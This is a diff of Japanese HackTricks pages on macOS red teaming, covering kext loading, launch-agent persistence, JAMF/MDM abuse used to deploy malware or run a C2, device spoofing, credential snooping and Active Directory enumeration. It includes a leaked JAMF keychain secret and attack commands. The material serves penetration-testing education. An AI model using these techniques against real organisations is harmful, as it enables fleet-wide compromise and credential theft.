現在ロードされているkextファイルをリストアップするには、次のコマンドを使用できます:
|
||||
現在ロードされているkextファイルをリストアップすることができます:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1676,7 +1610,7 @@ kextunload -b com.apple.driver.ExampleBundle
|
|||
|
||||
#### 説明と悪用
|
||||
|
||||
明らかに、`/System/Library/LaunchAgents/com.apple.amstoold.plist`からの`plist`は、このバイナリを使用していましたが、バイナリが存在しなかったため、そこに何かを配置し、XPCサービスが呼び出されるときにバイナリが呼び出されるようにすることができました。
|
||||
明らかに、`/System/Library/LaunchAgents/com.apple.amstoold.plist`からの`plist`は、XPCサービスを公開しながらこのバイナリを使用していました... 問題は、バイナリが存在しなかったため、そこに何かを配置し、XPCサービスが呼び出されるときにあなたのバイナリが呼び出されるということです。
|
||||
|
||||
私のmacOSではこれを見つけることができなくなりました。
|
||||
|
||||
|
@ -1697,10 +1631,10 @@ kextunload -b com.apple.driver.ExampleBundle
|
|||
### ~~/etc/rc.common~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
**現代のMacOSバージョンでは機能しません**
|
||||
**これは現代のMacOSバージョンでは機能しません**
|
||||
{% endhint %}
|
||||
|
||||
ここにも**起動時に実行されるコマンドを配置することができます。** 通常のrc.commonスクリプトの例:
|
||||
ここにも**起動時に実行されるコマンドを配置することができます。** 通常のrc.commonスクリプトの例:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1793,21 +1727,21 @@ restart) RestartService ;;
|
|||
esac
|
||||
}
|
||||
```
|
||||
## 持続性技術とツール
|
||||
## 持続性の技術とツール
|
||||
|
||||
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
|
||||
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに PR を提出してください。
|
||||
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,19 +9,19 @@ HackTricksをサポートする他の方法:
|
|||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- 自分のハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
## MDMの悪用
|
||||
|
||||
- JAMF Pro: `jamf checkJSSConnection`
|
||||
- Kandji
|
||||
* JAMF Pro: `jamf checkJSSConnection`
|
||||
* Kandji
|
||||
|
||||
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで、すべてのコンピュータを**潜在的に侵害**することができます。
|
||||
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
|
||||
MacOS環境でのレッドチーミングでは、MDMの動作原理について一定の理解を持つことが強く推奨されています:
|
||||
MacOS環境でのレッドチーミングでは、MDMの動作原理についてある程度理解していることが強く推奨されています:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -31,17 +31,17 @@ MacOS環境でのレッドチーミングでは、MDMの動作原理について
|
|||
|
||||
MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更などの権限を持っています。
|
||||
|
||||
独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得できるベンダーによって署名されたCSRが必要です。Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。
|
||||
独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得しようとするベンダーによって署名された**CSR**が必要です。Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。
|
||||
|
||||
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントで署名する必要があります... ただし、MDM登録時には、デバイスがMDMのSSL証明書を信頼できるCAとして追加するため、今後は何でも署名できます。
|
||||
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントで署名する必要があります... ただし、MDM登録時に**デバイスはMDMのSSL証明書を信頼できるCAとして追加**するため、今後は何でも署名できます。
|
||||
|
||||
デバイスをMDMに登録するには、ルートとして**`mobileconfig`**ファイルをインストールする必要があります。これは**pkg**ファイルを介して配信できます(Safariからダウンロードされると解凍されます)。
|
||||
デバイスをMDMに登録するには、**`mobileconfig`**ファイルをルートとしてインストールする必要があります。これは**pkg**ファイルを介して配信できます(Safariからダウンロードされると解凍されます)。
|
||||
|
||||
**MythicエージェントOrthrus**はこのテクニックを使用しています。
|
||||
|
||||
### JAMF PROの悪用
|
||||
|
||||
JAMFは**カスタムスクリプト**(システム管理者が開発したスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視など)、**MDM**(デバイスの構成、デバイス証明書など)を実行できます。
|
||||
JAMFは**カスタムスクリプト**(システム管理者が開発したスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの構成、デバイス証明書...)を実行できます。
|
||||
|
||||
#### JAMFの自己登録
|
||||
|
||||
|
@ -49,15 +49,15 @@ JAMFは**カスタムスクリプト**(システム管理者が開発したス
|
|||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。
|
||||
|
||||
適切な資格情報を見つけた後、次のフォームで他のユーザー名を総当たり攻撃することができるかもしれません:
|
||||
さらに、適切な資格情報を見つけた後、次のフォームで他のユーザー名を総当たり攻撃することができるかもしれません:
|
||||
|
||||
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
||||
|
||||
#### JAMFデバイス認証
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`**バイナリには、発見時点で**誰もが共有していた**キーチェーンを開くための秘密が含まれていました。それは**`jk23ucnq91jfu9aj`**でした。\
|
||||
**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時点では**誰もが共有**していました。それは**`jk23ucnq91jfu9aj`**でした。\
|
||||
さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**永続化**されます。
|
||||
|
||||
#### JAMFデバイス乗っ取り
|
||||
|
@ -80,37 +80,35 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
したがって、攻撃者は、**TyphonエージェントからMythic C2リスナーへのURL**を設定して、JAMFをC2として悪用できるようになるように、悪意のあるパッケージ(`pkg`)を**上書きする**ことができます。
|
||||
したがって、攻撃者は、**このファイルを上書き**する悪意のあるパッケージ(`pkg`)をドロップすることができ、インストールされると**TyphonエージェントからMythic C2リスナーへのURLを設定**し、JAMFをC2として悪用することができるようになります。
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
||||
# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### JAMFのなりすまし
|
||||
|
||||
デバイスとJMFの間の通信を**なりすます**には、以下が必要です:
|
||||
|
||||
* デバイスの**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* **JAMFキーチェーン**:`/Library/Application\ Support/Jamf/JAMF.keychain`(デバイス証明書を含む)
|
||||
- デバイスの**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
- **JAMFキーチェーン**:`/Library/Application\ Support/Jamf/JAMF.keychain`から、デバイス証明書を含む
|
||||
|
||||
この情報を使用して、**盗まれた**ハードウェア**UUID**を持つVMを作成し、**SIPを無効に**し、**JAMFキーチェーン**を落とし、Jamf**エージェント**を**フック**して情報を盗みます。
|
||||
この情報を使用して、**盗まれた**ハードウェア**UUID**を持つVMを作成し、**SIPを無効に**して、**JAMFキーチェーン**を落とし、Jamf**エージェント**を**フック**して情報を盗みます。
|
||||
|
||||
#### 秘密情報の盗み取り
|
||||
#### 秘密の盗み出し
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
また、`/Library/Application Support/Jamf/tmp/`の場所を監視して、管理者がJamfを介して実行したい**カスタムスクリプト**を監視することもできます。これらのスクリプトはここに**配置され、実行され、削除**されます。これらのスクリプトには**資格情報**が含まれる可能性があります。
|
||||
また、**カスタムスクリプト**を監視することができます。管理者がJamfを介して実行したいと考えるかもしれない場所`/Library/Application Support/Jamf/tmp/`。これらのスクリプトはここに**配置され、実行され、削除**されます。これらのスクリプトには**資格情報**が含まれる可能性があります。
|
||||
|
||||
ただし、**資格情報**は**パラメータ**としてこれらのスクリプトに渡される場合がありますので、`ps aux | grep -i jamf`を監視する必要があります(root権限でなくても)。
|
||||
ただし、これらのスクリプトには**パラメータ**として**資格情報**が渡される場合がありますので、`ps aux | grep -i jamf`を監視する必要があります(root権限がなくても)。
|
||||
|
||||
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルの追加と新しいプロセス引数を監視できます。
|
||||
|
||||
### macOSリモートアクセス
|
||||
|
||||
さらに、**MacOS**の"特別な"**ネットワーク** **プロトコル**についても:
|
||||
また、**MacOS**の"特別な"**ネットワーク** **プロトコル**についても:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -118,7 +116,7 @@ sudo jamf policy -id 0
|
|||
|
||||
## Active Directory
|
||||
|
||||
一部の場合、**MacOSコンピュータがADに接続**されていることがあります。このシナリオでは、通常どおりにActive Directoryを列挙する必要があります。以下のページで**ヘルプ**を見つけることができます:
|
||||
場合によっては、**MacOSコンピュータがADに接続されている**ことがあります。このシナリオでは、通常どおりにActive Directoryを列挙してみてください。以下のページで**ヘルプ**を見つけることができます:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -139,8 +137,10 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
|
|||
また、MacOS向けにADを自動的に列挙し、kerberosを操作するためのツールがいくつか用意されています:
|
||||
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound): MacHoundはBloodhound監査ツールの拡張機能で、MacOSホスト上でActive Directoryの関係を収集および取り込むことができます。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上でHeimdal krb5 APIとやり取りするように設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、macOSデバイス上でKerberosに関するセキュリティテストを、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用して行えるようにすることです。
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directoryの列挙を行うためのJavaScript for Automation(JXA)ツール。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上でHeimdal krb5 APIとやり取りするように設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、macOSデバイス上でKerberosに関するセキュリティテストを、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用して実現することです。
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directoryの列挙を行うためのJavaScript for Automation (JXA)ツール。
|
||||
|
||||
### ドメイン情報
|
||||
```bash
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
|
@ -148,18 +148,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
MacOSの3つのタイプのユーザーは次のとおりです:
|
||||
|
||||
- **ローカルユーザー** — ローカルのOpenDirectoryサービスによって管理され、Active Directoryとは何の接続も持ちません。
|
||||
- **ローカルユーザー** — ローカルのOpenDirectoryサービスによって管理され、Active Directoryとは何の接続もありません。
|
||||
- **ネットワークユーザー** — DCサーバーに接続して認証する必要がある、不安定なActive Directoryユーザー。
|
||||
- **モバイルユーザー** — 資格情報とファイルのローカルバックアップを持つActive Directoryユーザー。
|
||||
|
||||
ユーザーとグループに関するローカル情報は、_var/db/dslocal/nodes/Default_ フォルダに保存されています。\
|
||||
たとえば、ユーザー _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
|
||||
|
||||
MacHoundは、HasSessionとAdminToエッジに加えて、Bloodhoundデータベースに3つの新しいエッジを追加します:
|
||||
**MacHound** は、Bloodhoundデータベースに **HasSession** と **AdminTo** エッジに加えて、次の3つの新しいエッジを追加します:
|
||||
|
||||
- **CanSSH** - ホストにSSH接続を許可されたエンティティ
|
||||
- **CanVNC** - ホストにVNC接続を許可されたエンティティ
|
||||
- **CanAE** - ホストでAppleEventスクリプトを実行することが許可されたエンティティ
|
||||
- **CanAE** - ホストでAppleEventスクリプトを実行することを許可されたエンティティ
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -185,7 +185,7 @@ dsconfigad -show
|
|||
|
||||
## キーチェーンへのアクセス
|
||||
|
||||
キーチェーンには高い確率で機密情報が含まれており、プロンプトを生成せずにアクセスすることで、レッドチームの演習を進めるのに役立つ可能性があります:
|
||||
キーチェーンには高い確率で機密情報が含まれており、プロンプトを生成せずにアクセスすることで、レッドチームの演習を進めるのに役立つ可能性が高いです:
|
||||
|
||||
{% content-ref url="macos-keychain.md" %}
|
||||
[macos-keychain.md](macos-keychain.md)
|
||||
|
@ -193,9 +193,9 @@ dsconfigad -show
|
|||
|
||||
## 外部サービス
|
||||
|
||||
MacOS Red Teamingは通常のWindows Red Teamingとは異なり、**MacOSは通常、複数の外部プラットフォームと直接統合**されています。MacOSの一般的な構成は、**OneLoginと同期した資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。
|
||||
MacOS Red Teamingは通常のWindows Red Teamingとは異なり、**MacOSは通常、複数の外部プラットフォームと直接統合**されています。MacOSの一般的な構成は、**OneLoginと同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。
|
||||
|
||||
## その他のレッドチーム技術
|
||||
## その他のRed Teamテクニック
|
||||
|
||||
### Safari
|
||||
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見しましょう
|
||||
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手しましょう
|
||||
* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを送信して、ハッキングのヒントを共有してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見してください
|
||||
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に従ってください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **ハッキングのヒントを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,27 +20,27 @@
|
|||
|
||||
明らかに、これは非常に強力なため、カーネル拡張機能をロードするのは**複雑**です。カーネル拡張機能をロードするために満たす必要がある**要件**は次のとおりです:
|
||||
|
||||
* **リカバリモードに入る**とき、カーネル**拡張機能をロードすることが許可**されている必要があります:
|
||||
* **リカバリモードに入る**とき、カーネル**拡張機能をロードできるように許可**する必要があります:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* カーネル拡張機能は、**Appleによってのみ付与されるカーネルコード署名証明書**で**署名されている**必要があります。Appleは、会社とその必要性を詳細に審査します。
|
||||
* カーネル拡張機能はまた、**ノータライズ**されている必要があり、Appleはそれをマルウェアチェックできます。
|
||||
* その後、**root**ユーザーがカーネル拡張機能を**ロードできる**唯一のユーザーであり、パッケージ内のファイルは**rootに属している**必要があります。
|
||||
* カーネル拡張機能は、**Appleによってのみ付与されるカーネルコード署名証明書**で**署名されている**必要があります。Appleが会社とその必要性を詳細に審査します。
|
||||
* カーネル拡張機能はまた、**ノータライズ**されている必要があり、Appleがマルウェアをチェックできます。
|
||||
* その後、**root**ユーザーがカーネル拡張機能を**ロードできる**ユーザーであり、パッケージ内のファイルは**rootに属している**必要があります。
|
||||
* アップロードプロセス中、パッケージは**保護された非rootの場所**に準備されなければなりません:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`権限が必要)。
|
||||
* 最後に、ユーザーはそれをロードしようとすると、[**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) そして、承認された場合、コンピュータを**再起動**してそれをロードする必要があります。
|
||||
* 最後に、それをロードしようとすると、ユーザーは[**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) 、承認された場合、コンピュータを**再起動**してそれをロードする必要があります。
|
||||
|
||||
### ロードプロセス
|
||||
|
||||
Catalinaでは、次のようになりました:**検証**プロセスが**ユーザーランド**で発生することに注目することが興味深いです。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみが**カーネルに拡張機能のロードを要求**できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
Catalinaでは、次のようになりました:**検証**プロセスが**ユーザーランド**で発生することに注目することが興味深いです。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみがカーネルに拡張機能のロードを要求できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
|
||||
1. **`kextutil`** cliは、拡張機能のロードの**検証**プロセスを**開始**します
|
||||
* **`kextd`**に**Machサービス**を使用して送信することで話します。
|
||||
2. **`kextd`**は、**署名**などをチェックします
|
||||
* **`syspolicyd`**に話して、拡張機能を**ロード**できるかどうかを**確認**します。
|
||||
* **Machサービス**を使用して**`kextd`**に送信します。
|
||||
2. **`kextd`**は、**署名**など、いくつかのことをチェックします
|
||||
* 拡張機能を**ロード**できるかどうかを**確認**するために**`syspolicyd`**に話します。
|
||||
3. **`syspolicyd`**は、拡張機能が以前にロードされていない場合、**ユーザーにプロンプト**を表示します。
|
||||
* **`syspolicyd`**は結果を**`kextd`**に報告します
|
||||
4. **`kextd`**は最終的にカーネルに拡張機能を**ロードするよう指示**できます
|
||||
4. **`kextd`**は最終的にカーネルに拡張機能を**ロードするように指示**できます
|
||||
|
||||
**`kextd`**が利用できない場合、**`kextutil`**は同じチェックを実行できます。
|
||||
|
||||
|
@ -51,12 +51,12 @@ Catalinaでは、次のようになりました:**検証**プロセスが**ユ
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見しましょう
|
||||
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手しましょう
|
||||
* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを送信して、ハッキングのヒントを共有してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見してください
|
||||
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手してください
|
||||
* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私に従ってください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **ハッキングのヒントを共有する**ために、[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud)にPRを送信してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -20,13 +20,13 @@ Mac OSのバイナリは通常、**universal binaries**としてコンパイル
|
|||
|
||||
これらのバイナリは、基本的に以下のような**Mach-O構造**に従います:
|
||||
|
||||
- ヘッダ
|
||||
- ヘッダー
|
||||
- ロードコマンド
|
||||
- データ
|
||||
|
||||
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Fatヘッダ
|
||||
## Fatヘッダー
|
||||
|
||||
次のコマンドでファイルを検索します:`mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
|
@ -47,7 +47,7 @@ uint32_t align; /* 2の累乗としてのアライメント */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
ヘッダには**magic**バイトが続き、ファイルが含む**archs**の数(`nfat_arch`)と各アーキテクチャには`fat_arch`構造体があります。
|
||||
ヘッダーには**マジック**バイトが続き、ファイルが含む**アーキテクチャ**の**数**(`nfat_arch`)と各アーキテクチャには`fat_arch`構造体があります。
|
||||
|
||||
次のコマンドで確認します:
|
||||
|
||||
|
